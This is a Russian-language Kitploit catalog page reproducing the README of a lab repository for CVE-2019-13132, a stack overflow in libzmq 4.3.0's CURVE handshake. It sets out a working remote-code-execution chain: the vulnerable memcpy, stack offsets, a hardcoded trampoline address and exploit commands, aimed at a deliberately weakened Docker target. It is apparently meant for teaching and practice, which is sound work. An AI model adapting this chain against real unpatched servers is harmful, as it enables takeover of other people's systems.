Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → RCE. Рабочий эксплойт + лаборатория Docker. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2019-13132-lab
Анализ уязвимостейЭксплуатацияОбратная инженерияФаззингОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → RCE. Рабочий эксплойт + лаборатория Docker.

Репозиторий
245 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → лаборатория RCE

CVE CVSS Affected License

Полноценный рабочий эксплойт RCE + воспроизводимая лаборатория для CVE-2019-13132, переполнения стекового буфера в обработчике подтверждения CURVE INITIATE в libzmq. Злоумышленник, знающий долгосрочный открытый ключ сервера (публичный параметр по дизайну), может переполнить стековый буфер фиксированного размера в process_initiate(), перезаписать сохранённый обратный адрес и перенаправить выполнение на произвольный код.

Автор: Nicolas Krassas (@dinosn).

Только для лабораторного использования. В этот набор входит намеренно уязвимая libzmq 4.3.0 с отключёнными средствами защиты. Не выставляйте порт 5556 за пределы лаборатории. Ошибка исправлена в libzmq 4.3.2.


Быстрый старт

docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Автоматизированный дымовой тест (запускает эксплойт + проверяет файл подтверждения):

docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Структура репозитория

.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

Уязвимость

src/curve_server.cpp:284-336 (libzmq 4.3.0):

if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box — это 416-байтовый буфер, выделенный в стеке. memcpy записывает size - 113 байт в 400-байтовую область полезной нагрузки (смещение 16..415). Любой INITIATE с size > 513 переполняет буфер, затрагивая сохранённые регистры вызываемых функций и обратный адрес.

Проверка cookie происходит до переполнения, поэтому INITIATE должен содержать настоящий cookie — но cookie получается из предыдущего сообщения WELCOME с использованием только долгосрочного открытого ключа сервера.


Цепочка эксплойта

1. Подтверждение CURVE (нужен только открытый ключ)

Протокол CURVE устроен так, что клиенты уже имеют долгосрочный открытый ключ сервера (он находится в URI подключения или конфигурации). Эксплойт:

  1. Генерирует новый эфемерный ключевой набор (C', c').
  2. Отправляет валидный HELLO — сервер расшифровывает его, используя C' + свой секретный ключ.
  3. Получает WELCOME — расшифровывает его, используя C' + открытый ключ сервера.
  4. Извлекает cookie из WELCOME.
  5. Отправляет INITIATE с настоящим cookie + увеличенной полезной нагрузкой.
  6. Cookie проходит проверку, и срабатывает уязвимый memcpy.

Нет учётных данных на уровне приложения. Нет обхода аутентификации ZAP. Переполнение происходит во время обмена ключами CURVE, до того, как приложение увидит пира.

2. Переполнение стека → перезапись обратного адреса

process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

Эксплойт отправляет 464 байта полезной нагрузки: 456 байт заполнителя (0x41) для достижения обратного адреса, затем 8 байт, содержащих адрес lab_trampoline().

3. Путь ошибки → эпилог → ret → трамплин

После переполнения crypto_box_open() терпит неудачу (переполненные данные — мусорный шифротекст). Путь ошибки записывает сбой, устанавливает errno и возвращает -1 — но путь ошибки обращается только к областям стека ниже региона переполнения (RSP+0xe0, RSP+0xf0, RSP+0x280), поэтому он выполняется чисто с повреждённым стеком.

Эпилог функции (add $0x628,%rsp; pop rbx-r15; ret) извлекает повреждённые сохранённые регистры (теперь 0x4141414141414141), а затем ret загружает наш адрес трамплина.

4. Выполнение кода

lab_trampoline() использует сырые системные вызовы (без libc, без fork()) для записи файла подтверждения:

void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Используются сырые системные вызовы вместо system() / fork(), потому что process_initiate() выполняется в I/O потоке libzmq — вызов fork() из неглавного потока в многопоточном процессе вызывает взаимоблокировку на обработчиках блокировок pthread_atfork в glibc.

Почему нужен только открытый ключ

Долгосрочный открытый ключ сервера является публичным параметром в протоколе CurveZMQ — клиенты должны иметь его для подключения. Обычно он распространяется в конфигурационных файлах, URI или механизмах обнаружения. Эксплойт не требует секретных материалов.


Определение смещений

Эксплойту нужно два значения:

полезначениеисточник
trampoline_addr0x401206nm server-curve (не-PIE бинарный файл, фиксированный адрес)
offset_to_ret456дизассемблирование process_initiate (0x658 - 0x490)

Оба значения жёстко закодированы в exploit.py как встроенные значения по умолчанию для сборки Docker-лаборатории (Debian 12, gcc 12, libzmq 4.3.0). Калибровка не требуется — просто запустите эксплойт:

python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Приоритет разрешения: флаги --trampoline/--offset → файл --profile → /opt/zmq-curve-rce/profile.json → встроенные значения по умолчанию.

Почему нет определения во время выполнения?

У ZMTP нет API для интроспекции. Приветствие раскрывает только версию протокола (3.x) и механизм (CURVE) — ничего о сборке libzmq, компиляторе или структуре бинарного файла. Нет идентификатора сборки, доступного во время выполнения, который позволил бы автоматически выбирать смещения для неизвестных целей.

Скрипты calibrate.sh / compute_offsets.py предоставлены для пересборок на разных дистрибутивах или версиях gcc, где адрес трамплина может измениться. Внутри Docker-лаборатории они запускаются автоматически, но не нужны.


Пример вывода

Скачать инструмент